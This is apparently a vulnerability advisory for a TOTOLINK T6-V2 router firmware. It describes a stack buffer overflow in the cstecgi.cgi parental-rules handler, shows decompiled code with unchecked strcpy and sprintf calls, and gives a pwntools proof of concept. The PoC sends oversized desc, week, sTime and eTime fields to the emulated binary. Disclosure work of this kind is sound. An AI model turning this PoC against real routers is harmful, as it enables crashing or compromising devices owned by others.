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## Overview

- The device's official website: [http://www.totolink.cn/home/menu/detail?menu\\_listtpl=products&id=16&ids=33](http://www.totolink.cn/home/menu/detail?menu_listtpl=products&id=16&ids=33)
- Firmware download website: [http://www.totolink.cn/home/menu/detail?menu\\_listtpl=download&id=16&ids=36](http://www.totolink.cn/home/menu/detail?menu_listtpl=download&id=16&ids=36)

## Affected version

T6-V2 V4.1.9cu.5179\_B20201015

## Vulnerability details

The vulnerability exists in the router's WEB component. `/web_cste/cgi-bin/cstecgi.cgi FUN_004133c4` (at address `0x4133c4`) gets the JSON parameter `desc`, `week`, `sTime`, `eTime`, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

```

64     local_2c = 0;
65     mac_ptr = (char *)websGetVar(param_1,"mac","");
66     desc_ptr = (char *)websGetVar(param_1,"desc","");
67     week_ptr = websGetVar(param_1,"week","");
68     sTime_ptr = websGetVar(param_1,"sTime","");
69     eTime_ptr = websGetVar(param_1,"eTime","");
70     pcVar3 = (char *)websGetVar(param_1,"state","");
71     state_value = atoi(pcVar3);
72     if (addEffect_value == 0) {
73         apmib_get(0x1839,&local_40);
74         if (0x1f < local_40) goto LAB_00413764;
75         addEffect_value = 0;
76         cVar1 = *mac_ptr;
77         while (cVar1 != '\0') {
78             if (cVar1 != ':') {
79                 *(char *)((int)&local_368 + addEffect_value) = cVar1;
80                 addEffect_value = addEffect_value + 1;
81             }
82             pcVar3 = (char *)((int)mac_ptr + 1);
83             mac_ptr = (char *)((int)mac_ptr + 1);
84             cVar1 = *pcVar3;
85         }
86         if ((char)local_368 == '\0') goto LAB_00413764;
87         sVar4 = strlen((char *)&local_368);
88         FUN_004232bc(&local_368,auStack856,sVar4);
89         strcpy(acStack786,desc_ptr);
90         sprintf((char *)&local_38,"%s,%s,%s",week_ptr,sTime_ptr,eTime_ptr);
91         strcpy(acStack850,(char *)&local_38);
92         local_2d2 = (char)state_value;
93         apmib_set(0x2183c,auStack856);
94         apmib_set(0x1183b,auStack856);

```

## PoC

```

from pwn import *
import json

data = {
    "topicurl": "setting/setParentalRules",
    "addEffect": "0",
    "mac": "12:34:56:78",
    "desc": 'A'*0x400,
    "week": 'A'*0x400,
    "sTime": 'A'*0x400,
    "eTime": 'A'*0x400
}

data = json.dumps(data)
print(data)

argv = [
    "qemu-mipsel-static",

```

```
    "-g", "1234",  
    "-L", "./root/",  
    "-E", "CONTENT_LENGTH={}".format(len(data)),  
    "-E", "REMOTE_ADDR=192.168.2.1",  
    "./cstecgi.cgi"  
]  
  
a = process(argv=argv)  
a.sendline(data.encode())  
  
a.interactive()
```